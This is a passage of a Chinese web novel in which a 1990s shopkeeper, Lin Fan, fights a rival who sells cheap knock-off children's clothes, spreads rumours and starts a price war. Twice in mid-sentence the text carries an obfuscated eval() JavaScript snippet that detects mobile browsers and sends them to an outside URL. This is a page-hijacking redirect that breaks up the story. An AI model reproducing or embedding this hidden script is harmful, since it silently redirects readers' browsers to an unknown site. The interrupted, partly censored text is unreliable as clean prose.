油墨味飘进鼻子里,平时觉得熟悉的味道,这会儿却让人烦躁——他想起钱老西上次换他牛仔裤时,也是先派人来“踩点”,那人也是这样,翻来覆去看裤子的拉链和走线,看完没几天,他的货就被换了。 “大姐,对这衣服感兴趣? 这是自家定制的,纯棉的,孩子穿着舒服,洗了不缩水。上次有个妈妈买了,洗了五次都没变形。” 林凡上前招呼,脸上笑着,后背却已经沁出了汗,黏在的确良衬衫上,凉飕飕的——这衬衫是去年过年买的,现在袖口都有点松了,他还没舍得扔,平时只在赶集时穿。 妇女放下衣服,瞥他一眼,眼神像锥子,扎得人不舒服: “料子还行,做工也就一般,比我上次见的差远了。多少钱?” 林凡报了价:“十五一件,童裤二十。” 妇女嗤笑一声,声音尖细得像指甲刮玻璃:“这么贵?款式也老土,就一个小口袋,没个花纹。 西头老钱家的铺子,进的童装跟你这差不多,才卖十块钱一件,裤腿上还有小熊图案呢,比你这好看多了。上次我在老钱家买过件,便宜又好看。” “钱老西”三个字砸进林凡耳朵里,他攥着衣架的手猛地一紧,木柄上的毛刺扎进掌心,有点疼,渗出血珠。 冷汗瞬间漫了上来,顺着脊梁骨往下淌,把衬衫都浸湿了; 他最担心的事还是来了。想起三年前在夜市,钱老西雇人换他的货,他去找对方理论,钱老西坐在躺椅上,手里摇着蒲扇,眯着眼说“你有证据吗?” 还让两个伙计推搡他,他摔在地上,膝盖磕破了,流了好多血,裤子都染红了,围观的人都看着,没人敢帮他,最后只能抱着残次品蹲在路边哭,连馒头都没心思吃。 那点刚冒头的喜悦,瞬间被冷水浇得透心凉,像冬天喝了口冰井水。他强装镇定,嘴角扯出个笑,比哭还难看:“大姐,一分钱一分货。 我们的面料是新疆长绒棉,加工是红星厂的老师傅做的,上次有批纱线不好,张师傅直接扔了,成本在这儿摆着。 您要是图便宜,去别家看看也成,只是别让孩子穿了不舒服——化纤的衣服穿久了,孩子皮肤容易痒,上次有个娃穿化纤衣,后背起了一片红疹,哭了半宿。” 妇女没再说什么,扫了眼货架上的作业本和橡皮,眼神在价格标签上停了两秒,转身走了。林凡立刻让王猛跟出去,王猛踩着门口的水泥台阶,鞋底沾了片梧桐叶,一抬脚哗啦啦响。 没过十分钟,王猛脸色铁青地跑回来,攥着拳头,指节都发白了:“凡子!那女的进了钱老西的旧书铺!那老王八蛋肯定在仿咱们的货! 我还看见他铺子里堆着几捆布,跟咱们的料子有点像,就是薄多了,风一吹都透光!上次他仿别人的鞋子,也是这么堆布的!” 林凡的脸色沉了下来,他让王猛揣着十块钱,去钱老西的铺子里买件仿品,王猛去的时候,心里憋着气,回来时脸都气红了,手里攥着件浅蓝T恤,布料皱巴巴的,还沾了点灰。 两件衣服摆在一起,高下立判:仿品的布料一照就透光,一扯就变形,走线歪歪扭扭,线头吊在外面像蜘蛛网,领口用的是单股线,轻轻一拉就松了,上次林凡扯自家的领口,拉到半尺长都没松。 林凡捏着仿品,指尖能摸到里面硬邦邦的化纤丝,糙得硌手,他想起红星厂徐主任说的话, “好棉成本高,便宜货肯定掺了化纤,至少掺40%,孩子皮肤嫩,穿久了容易起红疹”,上次有个工友的娃穿了掺化纤的衣服,真起了红疹,心里像堵了块石头,沉得慌。 果然没两天,熟客张大妈来店里,搓着手不好意思地说: “林老板,你这T恤能便宜点不?西头老钱那儿有差不多的,才十块钱一件,我家媳妇让我来问问,说差五块呢,五块钱能买斤猪肉了,够咱全家吃一顿的。 上次我买斤猪肉,炖了锅汤,全家都爱吃。”林凡心里苦,却没法说——他的成本就四块六,钱老西的仿品成本顶多两块五,怎么降?降了就亏了,不降又怕丢了顾客。 更让他揪心的是,有天下午,一个穿工装的男人抱着孩子冲进店,孩子哭得满脸通红,脖子上一片红肿,手里攥着件钱老西家的仿品T恤。 第三十八章:风起于青萍之末 男人急得嗓门都哑了: “林老板,你帮我看看!这衣服是不是有问题?我家娃穿了半天就痒得哭,我媳妇用肥皂洗了三遍,还是扎人!上次我在你这儿买的作业本,质量好,我以为老钱的货也靠谱,没想到坑娃!” 林凡接过仿品,凑到鼻尖闻了闻,有股刺鼻的化学味,他用指甲轻轻一扯领口,线就松了,露出里面混着的化纤丝: “大哥,这料子掺了至少五成化纤,红星厂的棉料是没这味的,你看我这正品,洗了还有胰子的淡香。” 他取了件正品给孩子换上,孩子摸了一下胸口的笑脸布标,哭声慢慢停了,还伸手揪了揪衣角。 男人当场买了两件,说“以后再也不图便宜买老钱的货了,娃遭罪比啥都强”,后来这男人还介绍了厂里的工友来买,成了常客,每次来都要跟林凡聊两句,说“你这货实在”。 “妈的!太欺负人了!我找那老东西算账去!” 王猛气得眼睛通红,抄起门闩的动作太急,木柄撞在货架上,震得橡皮和铅笔盒哗啦啦响,玻璃罐里的水果硬糖也跟着晃,掉了两颗在地上。 他红着眼圈,喉结滚了好几下,声音都哑了: “咱辛辛苦苦做的货,熬夜盯厂,跟师傅说好话,凭什么让他抢生意!他那货是垃圾!穿坏了孩子怎么办?我家娃上次穿化纤的,后背起了一片红疹,哭了半宿,我媳妇抱着娃哭了一夜!” “站住!” 林凡厉声喝止,伸手拽住王猛的胳膊,指腹蹭到他胳膊上的老茧——那是王猛之前在工地搬砖磨出来的,搬一袋五十斤的水泥才赚五毛钱; 磨破了多少双手套才攒下点钱,有次手套磨破了,他的手被水泥烧得通红,还坚持搬完了最后一袋。 “你去了能怎么样?打坏了人要赔医药费,最少得两百块,上次东头老周跟人打架,赔了五百,还被派出所关了三天,派出所来了店都得关,咱们这月的房租还没交呢!这不是正好中了他的圈套?” 林凡的声音有点抖,想起王姥姥上次来店里,塞给他一篮子鸡蛋,鸡蛋还带着鸡窝的温乎气,王姥姥说 “凡子,别跟人置气,挣钱不容易,你爸妈走得早,我们就盼着你安稳”,这话像根针,扎得他心里疼。 王猛梗着脖子,把脸扭向窗外,街上自行车铃铛叮铃铃地过,卖冰棍的吆喝声“绿豆冰棍——五分一根”飘进来,衬得店里更闷,连风扇吹的风都是热的,风扇还是去年夏天买的二手货,转起来嗡嗡响,吹出来的风都带着股旧铁味。 林凡深吸一口气,强迫自己冷静。 他拿起仿品,指尖捻着稀薄的布料,突然想起小时候看爷爷修锄头——断了的木柄用铁丝缠紧还能用,只要肯想办法,总有出路。 上次爷爷修坏了的犁,别人都说扔了,爷爷却用木头补了补,还能用好几年。心里那点堵得慌的感觉慢慢散了,换成一股硬邦邦的劲。 “他打价格战,咱不能跟着打。咱的优势是质量和服务,他仿得了样子,仿不了料子,仿不了咱对孩子的心思。” 他沉声道, “猛子,你去巷口找李木匠,要块两米长、二十厘米宽的泡桐木板——泡桐木轻,挂着方便,还不重,上次李木匠给人做招牌,用的就是泡桐木,说‘这木头像样,还不贵’。 用朱砂红的漆写字,写‘郑重声明: 本店“笑笑”牌童装,采用新疆优质长绒棉,红星纺织厂定点精工制作,每厘米八针锁边,无化纤无荧光剂,谨防劣质仿冒,勿因价低忽视孩童健康’,就挂在店门口最显眼的地方,让路过的人都看见!上次有个顾客说,看见声明才敢买,怕买着仿品。” 说完他又想起布标,立刻摸出通讯录——那本子封面都磨破了,是去年开学时进的笔记本,没卖完自己用了,里面记着作坊的电话,还有红星厂徐主任的传呼号,传呼号他背了好几遍,就怕忘了。 他跑到巷口的公用电话亭,投了个硬币,硬币“叮”的一声落进去,拨通了巷尾刺绣坊刘姐的电话,特意叮嘱: “刘姐,能不能加急?布标用双层棉线,笑脸的针脚密点,每毫米两针,别让人家轻易仿了去,我多给你加五块钱加工费。上次你给我绣的字,特别好,别人都夸。” 挂了电话,他又骑着自行车去市区找徐主任,自行车骑得飞快,风吹得的确良衬衫贴在背上,汗湿了一大片,连裤脚都沾了尘土,路上还差点被一辆拖拉机蹭到,拖拉机“突突”响,吓得他赶紧捏紧车闸,车轮在地上擦出道黑印。 徐主任的办公室在红星厂的二楼,墙上挂着“1995年先进车间”的奖状,边角有点卷,是去年车间得的,徐主任说“这奖状是大家伙儿的功劳”。 桌上摆着个搪瓷缸,印着“劳动模范”四个字,缸沿有个小缺口,是徐主任年轻时得的,用了十几年了,里面还泡着菊花茶,飘着几朵干花。 徐主任听了林凡的想法,拍着他的肩膀笑:“你这小子,脑子转得快,比我家那混小子强多了。咱红星厂虽然效益差,但不能砸了质量的牌子。 上次有个个体户来订布,想掺点化纤,我直接拒了,说‘咱红星厂的布,不能掺假’。我让车间在袖口加个小太阳刺绣,直径一厘米,针脚密点,仿起来费劲,再给你盖个‘红星定制’的红章,印在吊牌背面,别人仿不了,这章是车间的公章,只有我能盖,上次给别的个体户盖章,我都没同意。” 回店的路上,林凡骑着车,看着路边的梧桐叶飘落在柏油路上,被风吹得打旋。突然想起周边的乡镇集市—— 清水县有五个乡镇,每个月逢五逢十赶集,比如柳溪乡的集市,能有上千人,摆摊的都抢着占位置,卖童装的却很少,大多是卖农资和小吃的。 小时候跟着妈妈去赶集,摆摊的张阿姨卖的小衣服特别受欢迎,因为她会给孩子试穿,还帮着改尺寸,不管买不买,都给孩子递颗糖,上次妈妈还跟他说“张阿姨的生意好,是因为实在”。 他心里一动:或许可以让王猛去赶集,开辟第二战场——集市上的人更认实在货,钱老西的仿品一对比就露馅,而且乡镇上没有百货大楼,杂牌童装多,“笑笑牌”的质量能突出优势。 王猛第一次去柳溪乡集市,天没亮就骑着三轮车出发,三轮车“吱呀”响,他蹬得满头汗,额头上的汗滴在车把上,他用袖子擦了擦,继续蹬。 车上堆着五十件童装,用塑料布盖着,怕露水打湿,旁边放着红星厂的质检报告,用塑料袋装着,还有两斤水果糖,是林凡买的“水果硬糖”,一毛钱三颗,糖纸透明,印着苹果图案。 到柳溪乡集市时,天才蒙蒙亮,他找了个靠近路口的位置,刚把塑料布掀开,就有股棉香飘出来,引着人过来。 刚摆开摊子,就有个挎着竹篮的刘奶奶凑过来,竹篮里装着刚摘的豆角,沾着露水,绿油油的,刘奶奶说“这豆角是自家种的,新鲜,中午炒肉吃”。 她指着童装问:“这布软和不?我家孙娃穿化纤的总哭,上次在镇上买的,洗一次就缩成肚兜了,孙娃穿不了,只能扔了,心疼得我好几天没睡好。” 王猛赶紧拿起件浅蓝T恤,让旁边路过的小娃试穿——那娃是摊主家的,光着膀子,浑身是汗,皮肤晒得黝黑,摊主说“让娃试试,要是好,我也买一件”。 小娃穿上T恤,手在身上蹭来蹭去,咧嘴笑:“奶奶,不扎!比我那件舒服!我那件穿了痒,妈妈总给我挠,都挠红了!” 刘奶奶当场买了两件,还喊来旁边卖鸡蛋的张婶,张婶家双胞胎试穿后,一口气买了四件,说“这料子好,比镇上的强多了,娃穿得舒服比啥都强”。 那天王猛不仅卖光了五十件,还记下了二十多个预订的名字,回来时三轮车筐里装满了乡邻送的豆角、鸡蛋,他攥着皱巴巴的零钱,跟林凡说: “凡子,咱这货在乡下太好卖了!那老钱的仿品根本没人要,有个大叔拿老钱的货来比,一摸就说‘这是糊弄人的’,当场就买了咱两件!” 还有县城里几家关系不错的小卖部,比如东关的“惠民小卖部”、西关的“家佳乐”;“惠民小卖部”的老板是林凡的初中同学张强; 之前林凡帮他修过收音机,那收音机是张强他爹留下的,坏了好几年,林凡琢磨了两天,换了个零件才修好,张强说“你这情我记着”; “家佳乐”的老板娘跟王猛的媳妇是远房亲戚,上次王猛媳妇生孩子,老板娘还来送了鸡蛋和红糖,说“产妇得补补”。 林凡想,能不能跟他们搞代销?卖出去一件给他们提一块五,这样既能扩大销路,还不用自己压货,风险小。 “惠民小卖部”的老板张强,开张第一天就出了个小插曲——有个穿碎花裙的年轻妈妈,手里捏着十块钱,本来是去钱老西家买仿品的; 路过张强的店,看见挂着的“笑笑牌”童装和墙上贴的红星厂质检报告,停下脚问:“这真是红星厂做的?我家娃穿化纤的总起疹子,上次穿化纤衣,疹子半个月才好,去医院花了二十多块。” 张强赶紧拿出林凡给的样品,让她摸:“我老同学亲自盯的厂,你看这针脚,每厘米八针,老钱那货我见过,针脚稀得能透光,上次我去老钱家,看见他的布都是粗布,还沾着灰。” 年轻妈妈当场加了五块钱,买了件米白T恤,第二天又带了两个同事来,说“娃穿了一夜没挠,比之前买的都软,值了”。 不到一周,张强的小卖部就卖了三十多件,他给林凡打电话时,声音都透着笑: “凡子,你这货救了我的店!之前我这小卖部就靠卖酱油醋撑着,现在天天有人来问童装,连带着酱油都多卖了好几瓶,上次一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16607504|187589||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 天卖了十瓶酱油,比平时多卖了一半!” 晚上店里关了门,台灯钨丝滋滋跳了一下,暖黄的光落在笔记本上,把字照得暖暖的。 林凡握着钢笔——是“英雄616”,他用了三年,笔尖有点秃,写起字来却很顺手,上次笔尖坏了,他自己用钳子夹了夹,还能用; 笔尖划过纸页,沙沙声混着窗外的蝉鸣,蝉声嘶嘶的,是夏天快结束的声音。他把应对策略一条一条写下来: 加印“红星定制”吊牌,袖口绣小太阳刺绣,吊牌背面盖红星厂车间公章;上次有顾客说,看见公章才放心,觉得是正品,不会买着仿品。 王猛每周去两个乡镇赶集(柳溪乡逢五、清溪乡逢十),带样品和红星厂徐主任开的质检报告(证明是100%纯棉),再带点小糖果,给试穿的孩子; 这次柳溪乡卖得好,下次多带点货,再加点童裤。联系“惠民”“家佳乐”等三家小卖部搞代销,签订单,约定卖不出去可退货,每件提成1.5元;张强的店卖得好,再跟其他店说说,扩大销路。 店里搞“买二送一”活动,送小袜子(五毛钱一双批发的,质量过关,不硌脚);上次有顾客说,送袜子很划算,一下买了四件,还介绍了朋友来。 字迹遒劲,没了白天的慌乱,连笔画都稳了。写完后,他又读了一遍,觉得没问题,才把笔记本合上。笑笑光着脚跑过来,小脚丫踩在水泥地上,有点凉,她跑得飞快,小裙子飘起来,像朵小花儿。 她跑到林凡身边,小手软乎乎的,带着刚吃过钙奶饼干的甜腻味,蹭过林凡紧绷的下颌线: “爸爸,你皱眉头不好看,像爷爷的老锄头,锄头上有皱纹。爷爷的锄头用了好多年,上面有好多印子,爸爸别像锄头。” 林凡放下笔,抱起女儿,脸埋在她的小肩膀上,能闻到她头发上的奶香,混着点汗味,是最踏实的味道,比布料的棉香还让人安心。 他轻轻拍着她的后背,指尖蹭过她后脑勺的胎发,糙糙的,像刚长出来的小草:“爸爸没有不开心。爸爸只是在想,怎么保护好笑笑和咱们的小店,让笑笑以后能穿自己家做的衣服,不用买别人的,还能让别的小朋友也穿得舒服。 上次那个穿红衣服的小朋友,穿了咱们的衣服,还跟笑笑说‘真舒服’呢,你忘了?”笑笑用小手摸着他的脸,从口袋里掏出颗水果硬糖—— 是店里卖的“水果糖”,一毛钱三颗,糖纸是透明的,印着苹果图案——糖纸沙沙响:“爸爸吃糖,吃了糖就不难过了。 上次我摔疼了,王猛叔叔给我吃糖,就不疼了。叔叔说糖是甜的,能让人开心。”林凡把糖含在嘴里,甜意慢慢化开,是橘子味的,压下了心里的涩,连喉咙都舒服多了。 窗外的路灯亮了,昏黄的光透过木框窗户照进来,落在堆在角落的作业本上。 林凡把笔记本放进抽屉里,抽屉里还放着姥姥离开前塞给他的二十块钱,他没舍得花,压在最底下,每次看到这钱,就想起姥姥的话。 他走到门口,锁上门,门闩插上时“咔嗒”一声,街上的声音淡了点,只有卖夜宵的吆喝声隐约传来: “馄饨——两**一碗——”卖馄饨的张大爷,每天晚上都来,馄饨包得大,馅也足,汤里还撒点葱花,上次林凡吃了一碗,暖得胃里舒服极了。 商海的风浪已经起了, 吹得他这艘小破船晃了晃。 这船不大, 装着“晨光文具店”的红漆招牌(是他自己写的,漆掉了点,他补了两次,第一次补的漆颜色有点浅,第二次才调好,现在看着鲜亮); 装着笑笑的笑声(每天早上笑笑都会在店里唱儿歌,跑调却好听,上次唱《小星星》,还把“亮晶晶”唱成了“亮晶京”,逗得王猛直笑); 装着王猛的信任(王猛说“凡子,我信你,你指哪儿我打哪儿,就算赔了,我跟你一起扛,上次你说要做童装,我立马就把攒的两百块拿出来了”); 还有姥姥的期望(姥姥说“咱家就靠你了,你踏实,准能成,你爸妈要是在,也会为你骄傲”)。他不能让船翻了,哪怕风浪再大,他也要掌好舵,把船划向稳当的地方。 与钱老西的这场战争,才刚刚开始。 巷尾的梧桐叶又落了一片,飘在店门口的青石板上,叶面上的纹路清晰,像刻着日子。 林凡弯腰捡起叶子,指尖摸着叶脉,心里那条路也越来越清晰—— 这条路有坑,有钱老西的刁难,有卖不出货的慌,但也有笑笑的笑声,王猛的信任,姥姥的期望; 还有顾客说“娃穿得舒服”时的满足。 他把叶子夹在笔记本里,像夹了片小小的希望。 夜风轻轻吹过,带着点槐树叶的清香, 吹得店门口的铁皮铃铛叮铃响,像在为这场没有硝烟的战争,奏起了前奏。 第三十九章:童装的品质执念 店门口那块老杨木“郑重声明”牌,是林凡前儿个从城郊老杨木匠的作坊里淘来的宝贝。 老杨木匠守着那间漏风的青砖房做了三十年老木活,手里的料全是拆老宅子攒下的; 这块杨木原是上世纪八十年代某户人家的房梁,经历过三十多年的风吹日晒,木质紧实得像块铁疙瘩,横截面的纹理粗粝交错,像刻满了时光的年轮。 当初林凡一眼相中它,就是因为边角那几道细密的裂纹:“老木才有这股子踏实劲,裂纹磨平了,反而显温润。” 回家后,林凡把木牌架在院里的石桌上,从工具箱里翻出砂纸,从80目到200目,一层层细细打磨。 80目的粗砂纸先磨掉裂纹边缘的毛边,木糠簌簌落在石桌上,混着阳光里的浮尘;换120目的砂纸时,他特意顺着木纹的方向擦,让沟壑里的碎木渣也无处藏身; 最后用200目的细砂纸收光,磨到手腕发酸,指尖沾着浅褐色的木粉,再蹭木头时,只剩绸缎般的温润触感,连裂纹都成了淡淡的浅痕。 牌上的字是他用老街墨坊的朱砂墨写的。那墨坊的掌柜是安徽人,祖传的制墨手艺,朱砂是从湘西采来的,磨出来的墨红得发亮。 调墨时,林凡特意加了一小勺桃胶——这是巷口老裁缝教他的诀窍:“桃胶熬化了掺墨里,墨迹能锁在木头上,刮风下雨都不晕。” 他用狼毫笔蘸着墨,一笔一画写得极慢,“笑笑牌童装只用新疆长绒棉,拒绝回收布料,每件均有专属绣标防伪”这行字,每个笔画都透着股认真劲,等墨迹干透,木牌上泛着暗红宝石般的光泽,风一吹,连个墨点都没晃下来 。 这新疆长绒棉,确实不是寻常棉花能比的。林凡为了摸清它的底细,特意托在新疆阿克苏棉区种棉的朋友寄了资料,还跑了三趟市里的纺织研究所。 资料上写得明明白白: 阿克苏棉区位于天山南麓,每年的日照时长能达到2800-3000小时,比长江流域棉区多800小时,昼夜温差又大,棉纤维能攒足养分,长度普遍在36-38毫米,比普通陆地棉长出整整三分之一。 前一个月他在看电视的时候,看到了广东省纺织产品质量监督检验研究院在关于布匹的棉花质量对比检测报告: 新疆长绒棉的断裂强度是3.8cN/tex,比普通棉花高出15%,就算孩子穿着衣服扯拽也不容易破; 吸湿性更不用说,把同样重量的棉花泡在水里,新疆长绒棉能吸收自身重量1.2倍的水分,普通棉花只能吸0.8倍—— 这对孩子来说太重要了,出汗后衣服能快速吸汗,就不容易着凉。林凡特意把报告复印了两份,一份压在柜台的玻璃板下,另一份塑封好挂在收银台旁,就是为了让顾客看得明明白白。 木板刚往门楣上挂好,就像颗石子投进了县城商业街的静水。不到三分钟,店门口就围拢了七八个人。 卖菜的张婶拎着半篮子沾着露水的小白菜,菜叶子上还挂着水珠,她踮着脚凑上前,粗糙的手指轻轻抚过店里挂着的浅粉色样品外套。 那面料摸上去软乎乎的,像揉着刚晒过太阳的云朵,指尖能感受到棉纤维的蓬松,里子是浅白色的精梳棉布,缝边都用细棉线细细包了边,连针脚都排得整整齐齐—— 林凡特意从苏州学的苏式童装工艺,讲究“密缝细锁”,一寸布要缝八针,比普通童装的六针多两针,这样洗再多次,缝边也不会开线。 张婶摸着面料,忍不住咂嘴:“你看这针脚多密实! 前几天我给孙子在钱老西那买了件浅蓝外套,花了五块钱,结果洗一次领口就卷得像朵蔫菊花,袖口的线还崩开了; 里面露出来的棉絮灰扑扑的,掺着好多碎线头,我孙子穿了两天,胳膊上就起了小红疹子,去卫生院看,医生说是布料刺激的!跟你这比,差得可不是一星半点!” 人群里站着个穿藏青夹克的年轻人,是隔壁修车铺的小周,他闻言撇了撇嘴,从裤兜里掏出个掉了漆的摩托罗拉BP机,按了下侧面的按键,屏幕亮起显示着两条未读信息—— 是他女朋友催他去买酱油。他没看信息,反倒把BP机揣回去,手往口袋里一插:“商家不都这样吹? 上月我在市里百货大楼买了双‘真皮’皮鞋,店家拍着胸脯说是头层牛皮,结果穿半个月鞋头就裂了缝,去找他们,人家还说我穿得太费!他说用新疆长绒棉,谁知道是不是掺了碎棉絮? 还搞个专属绣标,说不定是从批发市场批的现成货,就是为了把价抬上去,好坑咱们这些老百姓!” 他刚说完,旁边卖水果的刘叔就瞪了他一眼,刘叔的摊子就在林凡店斜对面,天天看着林凡进货、做衣服,最清楚他的实诚: “小周你这话不对!林凡这孩子心眼实,前阵子我给孙女买小外套,想挑件厚实的,他怕我看不清里面的棉絮,特意找了把小剪刀,拆开衣角让我看—— 那棉絮白得发亮,一丝杂质都没有,用手扯能看见长长的纤维,哪像钱老西那货?上次我去他店里,想摸件衣服的里子,他死活不让,说‘摸脏了卖不出去’,现在想想,肯定是里面的棉絮见不得人!” 钱老西的反击来得比林凡预想中快得多。 第二天一早,林凡刚把店门推开,一股冷风裹着嘈杂的声音就灌了进来—— 对面钱老西的店门口,立着块用硬纸板做的标价牌,原本写着“童装两块五一件”的“五”字,被白色涂改液盖得严严实实,上面又用红马克笔歪歪扭扭写了“四**五”,字缝里还溅着黑墨水,像块补丁似的扎眼。 懂行的人都知道,这价格根本不现实—— 一件童装光是面料就要用半米布,新疆长绒棉的布料批发价是六块钱一米,加上线、扣子和人工,成本至少要四块钱,四**五连块布料的零头都不够。 明眼人一看就知道,钱老西是想靠低价噱头拉顾客,再用劣质货蒙人。 更闹人的是,钱老西从废品站淘了个老式卡式录音机,米黄色的塑料外壳掉了块漆,露出里面锈迹斑斑的铁皮,电源线是用黑胶带缠过的,接得歪歪扭扭。 他找了半块砖头,把录音机垫在门口的台阶上,里面放着他侄子的录音—— 那孩子前几天感冒,嗓子哑得像砂纸磨木头,录音里除了 “江南新款童装,两块四**五一件,比棉花还便宜,走过路过别错过!” 的吆喝,还混着断断续续的咳嗽声,音量开得极大,震得隔壁修鞋铺的白铁皮招牌嗡嗡响。 那招牌是老王去年秋天新做的,上面用红漆写的“老王修鞋”四个字,边缘还卷了圈小花纹,挂招牌的铁丝本来就有点松; 这会儿被震得来回晃,老王正低头给一双皮鞋钉掌,手里的锤子刚举起来,就被招牌的晃动分了神,锤子“哐当”一声掉在地上,差点砸到脚。 老王把锤子往工具箱里一扔,烟叼在嘴角,皱着眉走过去敲钱老西的木板门。那门掉了好几块漆,露出里面发黑的朽木,敲上去“空空”响。 老王敲了三下,钱老西才从里面探出头—— 头发乱糟糟的像鸡窝,沾着几根棉絮,穿件灰扑扑的衬衫,是前年的旧款,袖口磨破了边,领口还沾着点酱油渍,最上面的扣子扣错了,扣到了第二颗扣眼里,显得邋遢又滑稽。 “你这音箱能不能关小点?**活都没法干了!” 老王的声音带着火气,烟蒂从嘴角掉下来,他赶紧用脚踩灭。钱老西却叼着根烟,慢悠悠吐了个烟圈,直喷到老王脸上: “我乐意!这是我家门口,我爱开多大声开多大声,你管得着吗?” 老王气得胡子都翘起来了,手指着钱老西,半天说不出话—— 他知道钱老西的德性,跟他吵只会白费力气,只能跺着脚回了修鞋铺,嘴里嘟囔: “这钱老西,真是越来越没规矩!迟早得栽跟头!” 更下作的是,钱老西还指使帮工二柱子去菜市场散播流言。二柱子是个十六七岁的小伙子,家在乡下,因为家里穷,早早出来打工,钱老西每个月给他三百块钱,他就啥都听钱老西的。 那天早上,二柱子穿件洗得发白的蓝布褂子,手里攥着钱老西给的五块钱——说是“跑腿费”,见人就凑上去说闲话。 李姐拎着竹篮子刚买了把菠菜,正要去买豆腐,就被二柱子拉住胳膊: “李姐,你可别去林凡那买童装!我昨天听钱老板说,林凡用的布是从县医院收的旧纱布翻新的,那些纱布之前裹过病人,上面全是细菌,都没消毒! 我邻居家小孩之前就穿了这种衣服,痒得半夜哭,胳膊上还起了红疹子,去医院花了好几百才治好!” 李姐一听,脸都白了,手里的菠菜差点掉在地上—— 她前几天还跟儿媳妇说,要去林凡店里给孙女买件米白色的小外套,现在听二柱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16607505|187589||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子这么说,心里顿时慌了: “真的假的?我还打算今天就去买呢!” 二柱子使劲点头,眼神却有点闪躲: “真的!钱老板亲眼看见林凡从医院拉回一袋子旧纱布,还说要去工商所举报他呢!”说完,他怕李姐再问,赶紧跑去跟卖豆腐的张叔说了同样的话。 有顾客信了这话,拎着布包就冲进了林凡的店。来的是赵姐,三十多岁,家住在东街,之前给儿子买过林凡的童装,觉得质量好,这次本来想再买两件。 她脸上带着急色,一进门就直奔挂在衣架上的童装,翻来覆去地找标签—— 那标签是林凡自己设计的,浅灰色的棉布上,用蓝色的线绣着“笑笑牌”和一个小太阳图案,太阳的中心还藏着个小小的“林”字暗纹。 这暗纹是他特意请苏州的陈绣娘教的双面绣法,陈绣娘做了二十年双面绣,说这“林”字要用细如发丝的绣线,一针一针绣三小时才能完成,仿冒的话,暗纹会模糊不清,一看就能分辨。 “老板,我听说你这衣服用的是旧纱布,真的假的?” 赵姐的声音有点发颤,手里攥着一件浅粉色的童装, “我给我闺女买,她皮肤嫩,可不能出事啊!” 林凡赶紧放下手里的布料——那是刚到的新疆长绒棉面料,还带着淡淡的棉絮香,他拿过赵姐手里的童装,找了把小剪刀,轻轻挑开衣角的缝边,露出里面的棉纤维。 那些棉纤维又白又软,在晨光下泛着丝绸般的光泽,用手捻一捻,能感受到明显的蓬松感。 “大姐,你看这棉絮,多干净多白。回收棉都是发黄发黑的,还会有碎线头、灰尘,甚至有小石子。 去年省质检局抽检县城里的童装,回收棉的纤维长度普遍不足25毫米,一扯就断,而我用的新疆的棉花,纤维长度都在36毫米以上,你看——” 林凡说着,用手指捏住棉絮的两端轻轻一扯,棉纤维被拉得长长的,却没断,“这样的棉絮,怎么可能是旧纱布翻新的?” 他又从柜台底下拿出一个铁盒子,里面放着新疆供货商提供的原棉样本,还有省质检局的抽检报告,报告编号是“XJ2023-0876”,上面清清楚楚写着: “笑笑牌童装所用水洗棉,经检测,棉纤维长度36.2毫米,断裂强度3.7cN/tex,无异味,无甲醛、重金属等有害化学物质,符合GB/T39853-2021《婴幼儿及儿童纺织产品安全技术规范》要求。” “你要是不放心,咱们现在就去工商所,让他们找专业机构检测,要是验出来有问题,我赔你十倍的钱,再把店里的衣服全捐了!” 林凡的话说得斩钉截铁。赵姐凑近仔细看了看棉絮,又拿起报告翻了翻,还掏出手机,照着报告上的编号查了省质检局的官网,确认报告是真的,脸色才慢慢缓和下来,小声说: “那我就放心了,刚才在菜市场听二柱子说,我还吓了一跳,差点就去钱老西那买了。” 这种伎俩让王猛气得攥紧了拳头,指节都泛了白。 王猛是知道林凡的辛苦,最受不了别人的诬陷,他和林凡对这店,对这个生意,完全倾注了所有的感情和精力,现在居然还有人这么来诬陷他们。 刚才他在店里整理货架,听见外面钱老西的录音机响得震天响,又听来买衣服的阿姨说菜市场的流言,一下子就火了,抄起门口的拖把—— 那拖把是木柄的,拖把头是旧布条扎的,上面还沾着点没洗干净的灰尘——就要冲出去找钱老西理论。 林凡赶紧从后面拽住他的胳膊,林凡的手劲不小,常年搬布料、缝衣服,让他的指节有点粗,拽得王猛的胳膊都红了一块。 “猛子,你先冷静!” 林凡的眉头皱得紧紧的,眼神冷得像冬天的冰碴子,声音压得很低,怕被外面的人听见,“他现在就是想逼咱们动手—— 去年城南的家具店就吃过这亏,两家老板因为价格吵起来,其中一家老板推了对方一把,结果对方直接躺地上喊‘**了’,周围人一围,拍了视频发出去,工商所来了之后; 各打五十大板,两家都被罚款五千,还停业整顿了一周,最后生意都做不下去了。 你要是跟他吵起来,他再往地上一躺,说咱们欺负人; 就算咱们占理,传出去也不好听, 工商所来了也得让咱们赔礼道歉,到时候咱们这店还开不开?” 第四十章:儿童衣的匠心 王猛喘着粗气,胸口一起一伏的,眼睛死死盯着对面—— 钱老西正坐在门口的小马扎上,跷着二郎腿,穿双露趾的塑料拖鞋,脚趾缝里还沾着泥,脚边扔了好几个烟蒂; 手里夹着根烟,还故意往王猛这边瞥了一眼,嘴角撇着,一脸得意,那眼神像是在说“有本事你过来”。 王猛的牙齿咬得咯咯响,手里的拖把杆都快被他攥断了: 